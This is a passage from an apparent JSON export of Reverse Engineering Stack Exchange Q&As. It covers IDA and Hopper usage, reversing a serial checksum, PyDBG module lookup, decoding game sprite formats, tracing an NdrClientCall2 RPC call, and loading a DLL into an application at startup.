        "Answer": "<p>Assuming you're on Windows, you could write a script that regularly restores <code>HKEY_CURRENT_USER\\Software\\Hex-Rays\\IDA\\History</code>.</p>\n\n<p>On Linux or Mac OS, I'm sure there's something similar than can be easily restored via a simple script.</p>\n"
    },
    {
        "Id": "8092",
        "CreationDate": "2015-01-25T14:42:28.083",
        "Body": "<p>Hopper offers a <a href=\"http://www.hopperapp.com/HopperGDBServer/index.html\" rel=\"nofollow noreferrer\">GDB/LLDB Debugger Server</a> companion to the standard program. I'm unclear on what this should / can  be used for. When I run the debugger server on the same machine that I'm using I see this:</p>\n\n<p><img src=\"https://i.stack.imgur.com/ODJUT.png\" alt=\"enter image description here\"></p>\n\n<hr>\n\n<p>There aren't really any options or built-in help. When I open <code>Hopper.app</code>'s debugger panel I only see the program running locally. I was initially thinking that the Remote Debugger was maybe used to offload some of the processing to another computer, but I've also tried running Hopper Debugger Server on another mac on my LAN but I don't see it come up in the list, only my local machine:</p>\n\n<p><img src=\"https://i.stack.imgur.com/cCHgb.png\" alt=\"enter image description here\"></p>\n\n<hr>\n\n<p>As there are no settings to specify remote connection information, I think I need to do something remotely that would specify a the address of the machine running Hopper so that it can sort of 'dial in' and then show up on the list.</p>\n\n<p>I haven't had any luck with the Hopper website, forum, FAQ.</p>\n\n<p>What am I missing?</p>\n\n<p>Can anyone give me a brief outline of how the GDB/LLDB remote debugger<br>\nis intended to be used (with Hopper) ?</p>\n",
        "Title": "What does Hopper's Debugger Server do?",
        "Tags": "|debuggers|debugging|gdb|hopper|lldb|",
        "Answer": "<p>I'm surprised nobody posted an answer, but here's what I eventually came to realize:</p>\n\n<p>A lot of times disassembling is used for taking apart potential malicious apps like viruses, worms, or malware to understand how they affect a system. There is both <a href=\"https://reverseengineering.stackexchange.com/questions/3473/what-is-the-difference-between-static-disassembly-and-dynamic-disassembly\">static and dynamic disassembly</a>. Static disassembly poses (little) threat to your system as it is only looking through the code - however dynamic disassembly is actually running the code ( with breakpoints, etc ) - which is something you probably don't want to do on your main computer if the code is potentially malicious.</p>\n\n<p>Here's what IDA says in a <a href=\"https://www.hex-rays.com/products/ida/support/tutorials/unpack_pe/manual.shtml\" rel=\"nofollow noreferrer\">tutorial about disassembling a \"hostile\" executable</a>:</p>\n\n<blockquote>\n  <p>We could put a breakpoint there and let the program run. Now, before we do that, let's repeat that it is not a good idea to run untrusted code on your computer. It is much better to have a separate \"sandbox\" machine for such tests, for example using the remote debugging facilities IDA offers. Therefore, IDA displays a warning when a new file is going to be started under debugger: ignore at your own risk.</p>\n</blockquote>\n\n<p>This finally made sense as an explanation for why you may want to use a remote debugger - seems so obvious now!</p>\n\n<p>I'm still not exactly sure on how to setup and/or use Hopper's remote debugger but I'm sure I'll figure that out eventually.</p>\n"
    },
    {
        "Id": "8097",
        "CreationDate": "2015-01-26T19:43:48.267",
        "Body": "<p>I'm trying to reverse engineer a serial protocol of a compressor, but i've no luck calculation the checksum.</p>\n\n<p>e.g. here are some messages including the 16-bit checksum at the end of the message.</p>\n\n<pre>\nff 02 ff 01 10 00 10 00 41 9e e2\nff 02 ff 01 10 00 10 00 42 9d e3\n02 fe 03 00 00 00 00 00 00 fd c1\n00 fe 02 83 01 10 00 00 00 00 6c c1\n</pre>\n\n<p>By now i know following octets</p>\n\n<pre>\n00  target addr\nfe  seems like a seperator\n02  own addr\n83  register addr\n01  value1 high\n10  value1 low\n00  value2 high\n00  value2 low\n00  value3 high\n00  value3 low\n6c  Checksum\nc1  Checksum\n</pre>\n\n<p>I've tried to calculate the Checksum with different 16-Bit CRC's and brute-forcing with \"reveng\", but sadly i had no luck.</p>\n\n<p>Also there is no way to put own Bits into the checksum function, but i can provide additional messages.</p>\n\n<p>Can anybody help?</p>\n",
        "Title": "Reversing Checksum of serial protocol",
        "Tags": "|deobfuscation|decryption|cryptanalysis|",
        "Answer": "<p>The first byte is a simple checksum variant.  In C:</p>\n\n<pre><code>uint8_t firstbyte( uint8_t const *data, size_t bytes )\n{\n    uint8_t sum;\n    for (sum = 0; bytes; --bytes)\n        sum -= *data++;\n    return sum;\n}\n</code></pre>\n\n<p>The second byte is a shift and add thing something like the BSD checksum:</p>\n\n<pre><code>uint8_t secondbyte( uint8_t const *data, size_t bytes )\n{\n    uint8_t sum;\n    for (sum = 0; bytes; --bytes) {\n        sum = (sum &lt;&lt; 1) | ((sum &amp; 0x80) ? 1 : 0);\n        sum += *data++;\n    }\n    return sum;\n}\n</code></pre>\n"
    },
    {
        "Id": "8098",
        "CreationDate": "2015-01-26T21:33:33.593",
        "Body": "<p>Is there any quick/ faster way to find , any address resides in which loaded module.</p>\n\n<p>For example from stack if I have ret address of any api. I want to check from which module actually that function was get called ??</p>\n",
        "Title": "Using PyDBG how to find in which loaded module callee functions is present",
        "Tags": "|debuggers|debugging|python|",
        "Answer": "<pre><code>from pydbg import *\nfrom pydbg.defines import *\n\ndef handler_breakpoint (pydbg):   \n   if pydbg.first_breakpoint:\n    dbg.bp_set(dbg.func_resolve(\"user32\",\"SendMessageW\"))\n    return DBG_CONTINUE\n   retaddr = dbg.get_arg(0,dbg.context)\n   modname = dbg.addr_to_module(retaddr).szModule   \n   print \"Calling Module and Return Address %25s\\t%08x\" % (modname,retaddr)\n   return DBG_CONTINUE\n\ndbg = pydbg()\ndbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)\ndbg.load(\"c:\\windows\\system32\\calc.exe\")\npydbg.debug_event_loop(dbg)\n</code></pre>\n\n<p>result</p>\n\n<pre><code>Calling Module and Return Address              comctl32.dll     773f2883\nCalling Module and Return Address              comctl32.dll     773f2883\nCalling Module and Return Address                USER32.dll     7e4269ed\nCalling Module and Return Address                USER32.dll     7e4269fa\n</code></pre>\n"
    },
    {
        "Id": "8105",
        "CreationDate": "2015-01-27T16:15:26.917",
        "Body": "<p>I'm trying to reverse engineer a file that contains sprites. I want to extract the sprites out of the file. So far I've managed to find some kind of line end sequence, and with this I've been able to confirm that the sprites are in the file:</p>\n\n<p><img src=\"https://i.stack.imgur.com/JNEA4.png\" alt=\"monochrome dump of file\"></p>\n\n<p>I'm using C++ and SDL. I load the file as a series of chars, and then plot a white pixel if the char>128 and a black if the char&lt;128. It's very crude and I don't know how to proceed. How do I find where color is stored? Or an alpha channel? Or what is in the header? Etc.</p>\n\n<p>If you know of any online resources that could be helpfull, please let me know. I'm kind of lost at where to start. These are first couple of bytes from the file I'm trying to reverse engineer, maybe this will help:</p>\n\n<p><img src=\"https://i.stack.imgur.com/TQdJl.png\" alt=\"hex dump of file\"></p>\n\n<p>The game is State of War. Its my childhoods' dream to write a remake of this game. I'm currently making a remake, but I'm using placeholder graphics. Thats why I need the sprites. I will not use it for commercial purposes.</p>\n\n<p>There are 2 kinds of sprite files. *.tsp files, and a big sprites.data and sprites.info file. I've uploaded some files <a href=\"http://www.filedropper.com/data_6\" rel=\"nofollow noreferrer\">here</a>.</p>\n",
        "Title": "Reverse engineering file containing sprites",
        "Tags": "|binary-format|",
        "Answer": "<p>You got started well; plotting unknown data as pixels immediately showed you this is indeed graphic data, not compressed (at least the buttons aren't), and in a usable RGB order. I guess the missing RGB format was what held you back; now you know it, you can write a simple program to plot in color and show offsets and widths of the images. Armed with that information, you can inspect the unknown bytes before (and possibly after) the images, and derive their meaning.</p>\n\n<hr>\n\n<h2>General overview</h2>\n\n<p>The file <code>001_buttons.tsp</code> consists of a series of images, without a general file header but with a header per image.</p>\n\n<p>The first long word of this header (4 bytes, little endian format) is the size of the following data in bytes, excluding the header itself (this length may be <code>0</code>). Then follow width and height as words. The next 12 bytes are 3 word-sized x,y pairs; the first pair is the center of the image. The coordinates are signed words, they wrap around at <code>0xFFFF/2</code>. The other pairs still serve an unknown purpose.</p>\n\n<p>After that, you have (height) times the offset of the next image scan line in <em>words</em>, offset from the start by 4 (so 4+2*offset = next line).</p>\n\n<p>Each scan line pointed to by these offsets is Run-Length Encoded (RLE) compressed. Transparent runs are indicated only by the number of horizontal pixels to skip; opaque runs can be copied directly to the screen. There is no alpha transparency in these images. Each scan line fills exactly <em>width</em> pixels after decompressing.</p>\n\n<p>The pixel format is packed 16-bit RGB: <code>RRRR.RGGG.GGGB.BBBB</code>, which can be converted to 24-bit RGB in the following (not optimized) way:</p>\n\n<pre><code>putpixel (x,y, (((val &gt;&gt; 8) &amp; 0xf8)&lt;&lt;16) | (((val &gt;&gt; 3) &amp; 0xfc)&lt;&lt;8) | ((val &amp; 0x1f)&lt;&lt;3) );\n</code></pre>\n\n<p>where <code>val</code> is simply the next word: <code>data[c]+(data[c+1]&lt;&lt;8)</code>.</p>\n\n<p><img src=\"https://i.stack.imgur.com/x17Vf.png\" alt=\"sample dump\"></p>\n\n<hr>\n\n<h2>Run-Length Encoding format</h2>\n\n<p><img src=\"https://i.stack.imgur.com/ComX6.png\" alt=\"rle unpacked image\"></p>\n\n<p>All values mentioned hereafter are <em>word</em> sized (2 bytes, little endian).<br>\nEach scan line starts with the <em>number of commands</em> for that line and a flag indicating whether to start with a \"skip\" or \"copy\". If the flag word after the number of commands is <code>0000</code>, the line starts with a \"skip\", and if it is <code>0001</code>, the line starts with a \"copy\".<br>\nAfter that, \"skip\" and \"copy\" commands alternate until the entire scan line is filled. Each command is the number of pixels to skip or copy; for \"copy\", the actual pixel values follow directly after it.</p>\n\n<p>All lines should be filled entirely -- if necessary, the command list ends with a number of 'empty' pixels to skip.</p>\n\n<p><img src=\"https://i.stack.imgur.com/bUS0Y.png\" alt=\"new game overlay\"></p>\n\n<hr>\n\n<p>Not all objects in <code>sprites.data</code> <em>are</em> sprites in this format. There are at least two different types:</p>\n\n<ol>\n<li><p>A monochrome mask object, using the same RLE compression scheme but without pixel data -- it contains only the length of each run. This could be to draw a mask, overlay a color, or aid in pixel-perfect object selection.</p></li>\n<li><p>A list of signed word pairs of unknown use.</p></li>\n</ol>\n\n<p>Neither these objects nor the actual sprites have a recognizable identifier at the start, so you can only find out which is which by trial and error (for example: if the reported 'size' of an image is negative or larger than the entire data file, you know it cannot be an RLE-compressed image after all).</p>\n\n<hr>\n\n<h2>Sprite index file</h2>\n\n<p>The index file <code>sprite.info</code> is obfuscated, but not by much. It has the following format:</p>\n\n<pre><code>4 x some byte flag (all `01` in this file)\nlong  total number of objects (377, in this file)\n377 x\n      0-terminated \"filename\" (obfuscated)\n      long offset in 'sprite.data'\n      long length in 'sprite.data'\n</code></pre>\n\n<p>The filename is obfuscated by adding the constant <code>10</code> to each character. Decoding this, you get a list of 377 items:</p>\n\n<pre><code>__extras\\compplay.ps6                | 00000000 000000C0\n__extras\\dim1.ps6                    | 000000C0 00000BC4\n__extras\\dim2.ps6                    | 00000C84 00000EB4\n...\nunits\\tur_05_blue.ps6                | 01FAC346 00013E12\nunits\\tur_05_gren.ps6                | 01FC0158 00013E12\nunits\\turrets_shadow.ps6             | 01FD3F6A 00013C9C\n</code></pre>\n\n<p>This is some sort of general index, as clearly not all images are listed. It must list only the first of an animated set; the 'length' is then the total length of all files in that particular set. The file extensions are a hint to their contents: files ending with <code>.ps6</code> all contain at least one image (and may contain more), files ending with <code>.msk</code> are probably a monochrome mask and <code>.sha</code> possibly shadows. The <code>.po<em>digit</em></code> files contain coordinate pairs.</p>\n"
    },
    {
        "Id": "8116",
        "CreationDate": "2015-01-29T09:33:10.880",
        "Body": "<p>Hey i have a very time consuming problem, and i thought i might find someone here with better experience than mine that could help me out.</p>\n<p>I am reverse-engineering an application which at some point uses the <em>NdrClientCall2</em> api to use a remote procedure of some other service (which i dont know which one that is)</p>\n<p>Now before i hear comments about not trying anything my self\nThere are some <strong>really good applications</strong> to accomplish what i want like <em><strong>NtTrace</strong></em>, <em><strong>Strace</strong></em> and roughly <em><strong>oSpy</strong></em> can achieve the same result aswell eventually.\nBut my application has some really hard anti-debugging techniques which force me to do everything manually.</p>\n<p>What eventually i want to achieve is know what procedure is being called and on what service \\ process.</p>\n<p><a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa374215%28v=vs.85%29.aspx\" rel=\"nofollow noreferrer\">Here is the NdrClientCall2 Decleration by MSDN</a></p>\n<pre><code>CLIENT_CALL_RETURN RPC_VAR_ENTRY NdrClientCall2(\n  __in          PMIDL_STUB_DESC pStubDescriptor,\n  __in          PFORMAT_STRING pFormat,\n  __in_out       ...\n);\n</code></pre>\n<p>so it uses the <strong>PMIDL_STUB_DESC</strong> struct which its definition is as the following:</p>\n<pre><code>typedef struct _MIDL_STUB_DESC {\n  void                                 *RpcInterfaceInformation;\n  void*                                (__RPC_API *pfnAllocate)(size_t);\n  void                                 (__RPC_API *pfnFree)(void*);\n  union {\n    handle_t              *pAutoHandle;\n    handle_t              *pPrimitiveHandle;\n    PGENERIC_BINDING_INFO pGenericBindingInfo;\n  } IMPLICIT_HANDLE_INFO;\n  const NDR_RUNDOWN                    *apfnNdrRundownRoutines;\n  const GENERIC_BINDING_ROUTINE_PAIR   *aGenericBindingRoutinePairs;\n  const EXPR_EVAL                      *apfnExprEval;\n  const XMIT_ROUTINE_QUINTUPLE         *aXmitQuintuple;\n  const unsigned char                  *pFormatTypes;\n  int                                  fCheckBounds;\n  unsigned long                        Version;\n  MALLOC_FREE_STRUCT                   *pMallocFreeStruct;\n  long                                 MIDLVersion;\n  const COMM_FAULT_OFFSETS             *CommFaultOffsets;\n  const USER_MARSHAL_ROUTINE_QUADRUPLE *aUserMarshalQuadruple;\n  const NDR_NOTIFY_ROUTINE             *NotifyRoutineTable;\n  ULONG_PTR                            mFlags;\n  const NDR_CS_ROUTINES                *CsRoutineTables;\n  void                                 *Reserved4;\n  ULONG_PTR                            Reserved5;\n} MIDL_STUB_DESC, *PMIDL_STUB_DESC;\n</code></pre>\n<p>And here is how it looks like in windbg, when i put a breakpoint in the NdrClientCall2 function</p>\n<pre><code>0:006&gt; .echo &quot;Arguments:&quot;; dds esp+4 L5\nArguments:\n06d9ece4  74cc2158 SspiCli!sspirpc_StubDesc\n06d9ece8  74cc2322 SspiCli!sspirpc__MIDL_ProcFormatString+0x17a\n06d9ecec  06d9ed00\n06d9ecf0  91640000\n06d9ecf4  91640000\n0:006&gt; .echo &quot;PMIDL_STUB_DESC:&quot;; dds poi(esp+4) L20\nPMIDL_STUB_DESC:\n74cc2158  74cc2690 SspiCli!sspirpc_ServerInfo+0x24\n74cc215c  74cca1cd SspiCli!MIDL_user_allocate\n74cc2160  74cca1e6 SspiCli!MIDL_user_free\n74cc2164  74ce0590 SspiCli!SecpCheckSignatureRoutineRefCount+0x4\n74cc2168  00000000\n74cc216c  00000000\n74cc2170  00000000\n74cc2174  00000000\n74cc2178  74cc1c52 SspiCli!sspirpc__MIDL_TypeFormatString+0x2\n74cc217c  00000001\n74cc2180  00060001\n74cc2184  00000000\n74cc2188  0700022b\n74cc218c  00000000\n74cc2190  00000000\n74cc2194  00000000\n74cc2198  00000001\n74cc219c  00000000\n74cc21a0  00000000\n74cc21a4  00000000\n74cc21a8  48000000\n74cc21ac  00000000\n74cc21b0  001c0000\n74cc21b4  00000032\n74cc21b8  00780008\n74cc21bc  41080646\n74cc21c0  00000000\n74cc21c4  000b0000\n74cc21c8  00020004\n74cc21cc  00080048\n74cc21d0  21500008\n74cc21d4  0008000c\n0:006&gt; .echo &quot;PFORMAT_STRING:&quot;; db poi(esp+8)\nPFORMAT_STRING:\n74cc2322  00 48 00 00 00 00 06 00-4c 00 30 40 00 00 00 00  .H......L.0@....\n74cc2332  ec 00 bc 00 47 13 08 47-01 00 01 00 00 00 08 00  ....G..G........\n74cc2342  00 00 14 01 0a 01 04 00-6e 00 58 01 08 00 08 00  ........n.X.....\n74cc2352  0b 00 0c 00 20 01 0a 01-10 00 f6 00 0a 01 14 00  .... ...........\n74cc2362  f6 00 48 00 18 00 08 00-48 00 1c 00 08 00 0b 00  ..H.....H.......\n74cc2372  20 00 2c 01 0b 01 24 00-a2 01 0b 00 28 00 b8 01   .,...$.....(...\n74cc2382  13 41 2c 00 a2 01 13 20-30 00 f8 01 13 41 34 00  .A,.... 0....A4.\n74cc2392  60 01 12 41 38 00 f6 00-50 21 3c 00 08 00 12 21  `..A8...P!&lt;....!\n</code></pre>\n<p>So how exactly do i figure out what is the remote process it is going to communicate with, or what pipe it is using to communicate?</p>\n<p>As far as i understand from the MSDN, it is supposed to call a remote procedure. if i understand that right, it means it should call a remote function as if its an exported dll function. How can i set a breakpoint there?</p>\n<p>P.S:</p>\n<p>The main reason im posing this function is because the NdrClientCall2 seems to be pretty huge.</p>\n",
        "Title": "at the rpcrt4!NdrClientCall2 function - how does it know which pipe to use in order to transfer data to another process?",
        "Tags": "|windbg|anti-debugging|",
        "Answer": "<blockquote>\n  <p>So how exactly do i figure out what is the remote process it is going\n  to communicate with, or what pipe it is using to communicate?</p>\n</blockquote>\n\n<p>The first step is to find the RPC client interface. This can be found via the first argument to <code>NdrClientCall2()</code>, named <code>pStubDescriptor</code>. In your question, <code>pStubDescriptor</code> points to <code>SspiCli!sspirpc_StubDesc</code>:</p>\n\n<blockquote>\n  <p>And here is how it looks like in windbg, when i put a breakpoint in\n  the NdrClientCall2 function</p>\n\n<pre><code>0:006&gt; .echo \"Arguments:\"; dds esp+4 L5\nArguments:\n06d9ece4  74cc2158 SspiCli!sspirpc_StubDesc\n</code></pre>\n</blockquote>\n\n<p><code>SspiCli!sspirpc_StubDesc</code> is a <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa374178(v=vs.85).aspx\" rel=\"noreferrer\"><code>MIDL_STUB_DESC</code></a>, and on my computer, here are its associated values (via IDA Pro):</p>\n\n<pre><code>struct _MIDL_STUB_DESC const sspirpc_StubDesc MIDL_STUB_DESC\n&lt;\n    offset dword_22229B8,\n    offset SecClientAllocate(x),\n    offset MIDL_user_free(x),\n    &lt;offset unk_22383F4&gt;,\n    0,\n    0,\n    0,\n    0,\n    offset word_22224B2,\n    1,\n    60001h,\n    0,\n    700022Bh,\n    0,\n    0,\n    0,\n    1,\n    0,\n    0,\n    0\n&gt;\n</code></pre>\n\n<p><a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa374178(v=vs.85).aspx\" rel=\"noreferrer\">As documented on MSDN</a>, the first field in the structure above \"points to an RPC client interface structure\". Thus, we can parse the data at that address as an <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa378503(v=vs.85).aspx\" rel=\"noreferrer\"><code>RPC_CLIENT_INTERFACE</code></a> struct:</p>\n\n<pre><code>stru_22229B8    dd 44h                  ; Length\n                dd 4F32ADC8h            ; InterfaceId.SyntaxGUID.Data1\n                dw 6052h                ; InterfaceId.SyntaxGUID.Data2\n                dw 4A04h                ; InterfaceId.SyntaxGUID.Data3\n                db 87h, 1, 29h, 3Ch, 0CFh, 20h, 96h, 0F0h; InterfaceId.SyntaxGUID.Data4\n                dw 1                    ; InterfaceId.SyntaxVersion.MajorVersion\n                dw 0                    ; InterfaceId.SyntaxVersion.MinorVersion\n                dd 8A885D04h            ; TransferSyntax.SyntaxGUID.Data1\n                dw 1CEBh                ; TransferSyntax.SyntaxGUID.Data2\n                dw 11C9h                ; TransferSyntax.SyntaxGUID.Data3\n                db 9Fh, 0E8h, 8, 0, 2Bh, 10h, 48h, 60h; TransferSyntax.SyntaxGUID.Data4\n                dw 2                    ; TransferSyntax.SyntaxVersion.MajorVersion\n                dw 0                    ; TransferSyntax.SyntaxVersion.MinorVersion\n                dd offset RPC_DISPATCH_TABLE const sspirpc_DispatchTable; DispatchTable\n                dd 0                    ; RpcProtseqEndpointCount\n                dd 0                    ; RpcProtseqEndpoint\n                dd 0                    ; Reserved\n                dd offset _MIDL_SERVER_INFO_ const sspirpc_ServerInfo; InterpreterInfo\n                dd 4000000h             ; Flags\n</code></pre>\n\n<p>From the <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa378503(v=vs.85).aspx\" rel=\"noreferrer\"><code>RPC_CLIENT_INTERFACE</code></a> struct above, we can extract the <code>InterfaceId</code> GUID: <code>4F32ADC8-6052-4A04-8701-293CCF2096F0</code></p>\n\n<p>We can now look up that interface GUID with <a href=\"http://www.rpcview.org/\" rel=\"noreferrer\">RpcView</a> to find the associated DLL, running process, and endpoints:</p>\n\n<p><img src=\"https://i.stack.imgur.com/T4JZp.png\" alt=\"Interfaces\">\n<img src=\"https://i.stack.imgur.com/b1JI5.png\" alt=\"Process\">\n<img src=\"https://i.stack.imgur.com/XRV4Z.png\" alt=\"Endpoints\"></p>\n\n<p>To find out which specific endpoint is being used by the SSPI RPC server in the LSASS process, we can reverse engineer <code>sspisrv.dll</code>. In the exported function <code>SspiSrvInitialize()</code>, we see the following call:</p>\n\n<pre><code>RpcServerUseProtseqEpW(L\"ncalrpc\", 0xAu, L\"lsasspirpc\", 0);\n</code></pre>\n\n<p>To figure out which specific function is being called in <code>sspisrv.dll</code>, we need to look at the <code>pFormat</code> data passed to <code>NdrClientCall2</code>. In your example code above, the <code>pFormat</code> data is:</p>\n\n<pre><code>00 48 00 00 00 00 06 00-4c 00 30 40 00 00 00 00 ...\n</code></pre>\n\n<p>If we parse the <code>pFormat</code> data as an <a href=\"http://doxygen.reactos.org/d5/d5b/structNDR__PROC__HEADER__RPC.html\" rel=\"noreferrer\">NDR_PROC_HEADER_RPC</a> structure, we get:</p>\n\n<pre><code>handle_type = 0x00\nOi_flags    = 0x48\nrpc_flags   = 0x00000000\nproc_num    = 0x0006\nstack_size  = 0x004C\n</code></pre>\n\n<p>From <code>proc_num</code>, we can see that this RPC call is calling the 6th RPC function in <code>sspisrv.dll</code>. We can use RpcView again to get the address for the 6th RPC function:</p>\n\n<p><img src=\"https://i.stack.imgur.com/ihKKv.png\" alt=\"Procedures\"></p>\n\n<p>And with IDA Pro, we can see the function in <code>sspisrv.dll</code> at address <code>0x7573159D</code>:</p>\n\n<pre><code>.text:7573159D __stdcall SspirProcessSecurityContext(x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x) proc near\n</code></pre>\n\n<p>RpcView also shows us a decompilation of that function's prototype:</p>\n\n<p><img src=\"https://i.stack.imgur.com/yP5dk.png\" alt=\"Decompilation\"></p>\n\n<p>(Note that on your computer, the 6th function might not be at virtual address <code>0x7573159D</code>, and furthermore, the 6th function might not be <code>SspirProcessSecurityContext()</code>, but this is the approach you would use nonetheless.)</p>\n\n<p>As such, we can now say the following:</p>\n\n<ul>\n<li>The RPC server code for your <code>NdrClientCall2()</code> call is in <code>sspisrv.dll</code></li>\n<li>The RPC server for your <code>NdrClientCall2()</code> call is running in LSASS's process</li>\n<li>The endpoint for your <code>NdrClientCall2()</code> call is named <code>lsasspirpc</code></li>\n<li>The RPC server function called by your <code>NdrClientCall2()</code> call in <code>sspisrv.dll</code> is <code>SspirProcessSecurityContext()</code></li>\n</ul>\n"
    },
    {
        "Id": "8120",
        "CreationDate": "2015-01-29T17:52:30.907",
        "Body": "<p>I've added some functionality to existing application which works through dll injection - my dll loads and patches some stuff. </p>\n\n<p>I would like it to be added to this application permanently so I don't have to inject it manually every time - I know there are some solutions such as:</p>\n\n<ol>\n<li>Loader - another application that runs target application and then injects a dll</li>\n<li>Patch EP - patch entry of target application so it loads my dll before executing rest</li>\n<li>AppInit_DLL - making it loads to almost every process through this register entry and then checking if we are in the right one, unload otherwise</li>\n</ol>\n\n<p>But are those options most optimal? First and second requires some work (maybe there are some already existing tools of which I don't know and which allows it? so I don't have to prepare it all myself), and third seems a bit over-excessive. \nJust to expand my knowledge - what are the other options?</p>\n",
        "Title": "Making application load dll at start",
        "Tags": "|patching|",
        "Answer": "<p>Another program which can do what you're looking for is CFF Explorer:\n<a href=\"https://i.stack.imgur.com/17XLV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/17XLV.png\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "8125",
        "CreationDate": "2015-01-29T23:25:22.400",
        "Body": "<p>You have the IDA View and Hex View right. When on IDA View you select an instruction you can see the instruction selected in Hex View as well. However, if you select a \"data instruction\" like \"Format          = dword ptr -10h\" which is a stack variable, you don't see it in the hex view. It doesn't select the bytes corresponding to the variable definition. I mean I know the variable is going to be there in memory but somewhere on the hex view should tell me \"hey allocate this stack variable\" but it doesn't.</p>\n\n<p>It's probably obvious by now, I'm a beginner in reverse engineering, I've been reading the book from <a href=\"http://beginners.re/\" rel=\"nofollow\">http://beginners.re/</a> . While I do know some assembly and have been able to reverse simple things, I have these knowledge gaps I'd like to fill. Thank you!</p>\n",
        "Title": "ida pro stack variables in hex view",
        "Tags": "|ida|",
        "Answer": "<p>Stack variables live in the stack's address space, not in the module's address space. Thus, there's nothing that the Hex View could show you statically.</p>\n"
    },
    {
        "Id": "8128",
        "CreationDate": "2015-01-30T03:16:30.673",
        "Body": "<p>I noticed that despite the imagebase for win32 executables be 0x400000, Ida Pro only starts the analysis at 0x401000. What is before that and how can I change IDA's settings to start the analysis at the imagebase? Thank you.</p>\n",
        "Title": "How can I make IDA start the analysis at imagebase?",
        "Tags": "|ida|memory|",
        "Answer": "<p>PE executables start with a header block that consists of a little DOS exe stub (with its own little header), a structure called <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms680336%28v=vs.85%29.aspx\" rel=\"noreferrer\">IMAGE_NT_HEADERS</a>, and a section table. A normal PE has no 32-bit/64-bit executable code there, so IDA doesn't load the header block unless you check \"<strong>manual load</strong>\".</p>\n\n<p>Relevant resources:</p>\n\n<ul>\n<li>Microsoft's <a href=\"https://msdn.microsoft.com/en-us/windows/hardware/gg463119.aspx\" rel=\"noreferrer\">PE COFF specification</a> (currently at version 8.3)</li>\n<li>Matt Pietrek's classic <a href=\"https://msdn.microsoft.com/en-us/library/ms809762.aspx\" rel=\"noreferrer\">Peering Inside the PE: A Tour of the Win32 Portable Executable File Format</a></li>\n<li>its sequel <a href=\"https://msdn.microsoft.com/en-us/magazine/cc301805.aspx\" rel=\"noreferrer\">An In-Depth Look into the Win32 Portable Executable File Format</a></li>\n<li>ReversingLabs' <a href=\"https://media.blackhat.com/bh-us-11/Vuksan/BH_US_11_VuksanPericin_PECOFF_WP.pdf\" rel=\"noreferrer\">Undocumented PECOFF</a></li>\n</ul>\n"
    },
    {
        "Id": "8145",
        "CreationDate": "2015-02-01T21:45:43.547",
        "Body": "<p>I am trying to get the sprites from a game from 1997 called Swing (US: Marble Master). The file is called <a href=\"https://drive.google.com/file/d/0BwnokKRE3G8URVdKWmdLSy1nM0E/view?usp=sharing\" rel=\"nofollow noreferrer\">NORMAL.SET</a> and contains a set of sprites. There is an executable named SHOWSET.EXE that displays the entire set after printing a number on each sprite.</p>\n\n<p>There are also a file called <a href=\"https://drive.google.com/open?id=0BwnokKRE3G8UdU5VTFVVMFkwME0&amp;authuser=0\" rel=\"nofollow noreferrer\">HINTERH.SWG</a> (SWG probably stands for SWING). I was able to figure out what this file type is using TiledGGD! It is raw data without headers, has the size 640x480, 16 bpp, big endian, (A)RGB. See Screenshot below.</p>\n\n<p><img src=\"https://i.stack.imgur.com/6WsaQ.png\" alt=\"HINTERH.SWG opened in TiledGGD\"></p>\n\n<p>Using the same settings in TiledGGD I get a close approximation of the <a href=\"https://drive.google.com/file/d/0BwnokKRE3G8URVdKWmdLSy1nM0E/view?usp=sharing\" rel=\"nofollow noreferrer\">NORMAL.SET</a> image. Below you find the output from SHOWSET.EXE (left), aswell as the image how TiledGGD displays it (right).</p>\n\n<p><img src=\"https://i.stack.imgur.com/Rbr2h.png\" alt=\"NORMAL.SET as displayd in game and in TiledGGD\"></p>\n\n<p>Using a screenshot of the SHOWSET.EXE output, I was able to get close to the codec (?correct term?) used for the pixel data in the NORMAL.SET. I do believe it is based on 16-bit ARGB1555, but still different. Below you see the image extracted from the screenshot. Let's call it screenshot-sprite.</p>\n\n<p><img src=\"https://i.stack.imgur.com/E5Q7s.png\" alt=\"Sprite extracted from Screenshot\"></p>\n\n<p>Those are the first 192 bytes from NORMAL.SET</p>\n\n<pre><code>47 69 62 20 6D 69 72 20 27 6E 65 20 4B 75 67 65\n6C 0A 00 1A 73 74 61 6E 64 61 72 64 00 00 00 00\n00 00 00 00 9D 4F DD 32 00 00 00 00 68 27 01 00\n14 00 01 0F 1E 00 1E 00 2C 03 00 00 03 00 00 00\n00 00 00 00 03 00 0A 00 90 08 90 08 90 08 90 08 &lt;1,2---\n8F 08 8F 08 8E 08 6D 08 6C 04 6B 04 03 00 0A 00\n03 00 08 00 90 08 91 08 91 08 91 08 91 08 91 08\n90 08 90 08 8F 08 8E 08 6D 08 6C 04 6A 04 4A 04\n03 00 08 00 03 00 06 00 91 08 91 08 B2 08 B2 08\nB2 08 B2 08 B2 08 B2 08 B2 08 91 08 90 08 8F 08\n8E 08 6D 08 6C 04 6B 04 49 04 48 04 03 00 06 00\n03 00 05 00 90 08 B2 08 B2 08 B3 08 B3 0C B3 0C\n</code></pre>\n\n<p>Those are the first 192 bytes from the screenshot-sprite.</p>\n\n<pre><code>42 4D 50 07 00 00 00 00 00 00 46 00 00 00 38 00\n00 00 1E 00 00 00 E2 FF FF FF 01 00 10 00 03 00\n00 00 0A 07 00 00 3B 00 00 00 3B 00 00 00 00 00\n00 00 00 00 00 00 00 7C 00 00 E0 03 00 00 1F 00\n00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 &lt;1---\n00 00 00 00 00 00 00 00 00 00 90 08 90 08 90 08 &lt;2---\n90 08 8F 08 8F 08 8E 08 6D 08 6C 04 6B 04 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 90 08 91 08 91 08 91 08 91 08 91 08 90 08\n90 08 8F 08 8E 08 6D 08 6C 04 6A 04 4A 04 00 00\n00 00 00 00 00 00 